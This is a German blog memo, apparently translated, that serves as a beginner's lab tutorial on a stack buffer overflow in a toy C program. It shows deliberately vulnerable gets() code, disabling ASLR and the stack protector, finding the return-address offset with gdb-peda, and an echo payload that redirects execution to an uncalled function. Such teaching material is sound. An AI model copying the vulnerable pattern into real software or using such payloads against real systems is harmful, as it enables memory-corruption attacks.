In einem Programm in der Sprache C tritt ein Pufferüberlauf auf, und die Rücksprungadresse wird neu geschrieben. Da es nur wenige Artikel gab, in denen zusammengefasst wurde, wie andere Funktionen von der Hauptfunktion aus aufgerufen werden, werde ich sie als Memo belassen.
Ausführungsumgebung CentOS 6.10 GNOME 2.26.2
Da gdb-peda verwendet wird, wird davon ausgegangen, dass die Installation dort abgeschlossen ist. Wenn Sie es nicht installiert haben, klicken Sie bitte hier. Einführung in gdbpeda
#include <stdio.h>
#include <stdlib.h>
int main(void){
char first[] = "!!Hello World!!";
char buf[16];
puts(">>");
gets(buf);
puts(first);
puts("that \'s All Fork!");
return EXIT_SUCCESS;
}
int sub(){
puts("Something wrong");
}
Schalten Sie zuerst die ASLR aus
sudo sysctl -w kernel.randomize_va_space=0
PIE, Stack Protector deaktiviert und kompiliert
gcc -o HelloWorld -O0 -g -fno-stack-protector HelloWorld.c -fno-PIE -fno-pie -fPIC
Starten Sie zuerst gdb
$ gdb HelooWorld
Erstellen Sie eine zufällige Zeichenfolge
$ (gdb) pattern_create 50
Lauf
$ (gdb) r
Dann tritt ein Pufferüberlauf auf und stoppt auf diese Weise
Beachten Sie hier die RSP-Adresszeichenfolge
$ (gdb)patto "RSP-String hier"
Dies ergibt den Adressoffset. Diesmal war es 40.
Überprüfen Sie vor dem Überprüfen des Speicherorts der Adresse erneut den Status des Pufferüberlaufs mit gdb.
Lauf
$ (gdb) r
Geben Sie dann den Namen der Funktion, die Sie ausführen möchten, in den Befehl disass ein. Hier ist es sub.
$ (gdb) disass sub
Wenn Sie es ausführen, sieht es so aus
Notieren Sie sich hier die Top-Adresse.
Beachten Sie, dass Sie es hexadezimal eingeben. Es ist bequem, den Befehl echo zu verwenden.
In diesem Fall ist es wie folgt.
echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xea\x46\x55\x55\x55\x55\x00\x00' | ./HelooWorld
Sie können sehen, dass die Funktion sub () so aufgerufen wird!
So einfach ist das, aber ich habe ein Beispiel für die Operation geschrieben. Abhängig von der Umgebung lief es nicht gut, daher hielt ich es für wichtig, Versuch und Irrtum zu machen. Ich hoffe, dieser Artikel hilft Ihnen in diesem Fall.